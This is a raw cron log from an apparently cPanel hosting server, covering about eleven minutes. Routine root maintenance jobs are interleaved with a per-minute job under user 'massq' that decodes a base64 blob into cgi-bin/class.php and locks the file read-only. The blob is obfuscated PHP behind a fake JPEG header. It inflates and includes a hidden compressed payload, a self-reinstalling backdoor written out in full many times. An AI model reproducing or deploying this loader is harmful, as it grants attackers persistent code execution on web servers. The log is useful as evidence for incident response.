Sep  5 01:15:01 server CROND[10088]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  5 01:15:01 server CROND[10091]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:15:01 server CROND[10094]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:15:01 server CROND[10093]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:15:01 server CROND[10096]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:15:01 server CROND[10092]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:16:01 server CROND[10916]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:16:01 server CROND[10917]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:16:01 server CROND[10918]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:17:01 server CROND[11379]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:17:01 server CROND[11380]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:17:01 server CROND[11381]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:18:01 server CROND[11759]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:18:01 server CROND[11761]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:18:01 server CROND[11760]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:19:01 server CROND[12221]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:19:01 server CROND[12222]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:19:01 server CROND[12223]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:20:01 server CROND[12636]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  5 01:20:01 server CROND[12638]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:20:01 server CROND[12643]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:20:01 server CROND[12640]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:20:01 server CROND[12642]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:20:01 server CROND[12647]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:20:01 server CROND[12641]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:20:01 server CROND[12645]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:20:01 server CROND[12644]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  5 01:21:01 server CROND[13469]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:21:01 server CROND[13470]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:21:01 server CROND[13471]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:22:01 server CROND[13849]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:22:01 server CROND[13850]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:22:01 server CROND[13851]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:23:01 server CROND[14239]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:23:01 server CROND[14240]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:23:01 server CROND[14241]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:24:01 server CROND[14602]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:24:01 server CROND[14603]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:24:01 server CROND[14604]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:25:01 server CROND[15077]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  5 01:25:01 server CROND[15076]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  5 01:25:01 server CROND[15080]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  5 01:25:01 server CROND[15085]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:25:01 server CROND[15081]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:25:01 server CROND[15082]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  5 01:25:01 server CROND[15083]: (root) CMD (   /usr/bin/tmpwatch 168 /var/imunify360/tmp > /dev/null 2>&1 || :)
Sep  5 01:25:01 server CROND[15084]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  5 01:26:01 server CROND[15901]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  5 01:26:01 server CROND[15902]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  5 01:26:01 server CROND[15903]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
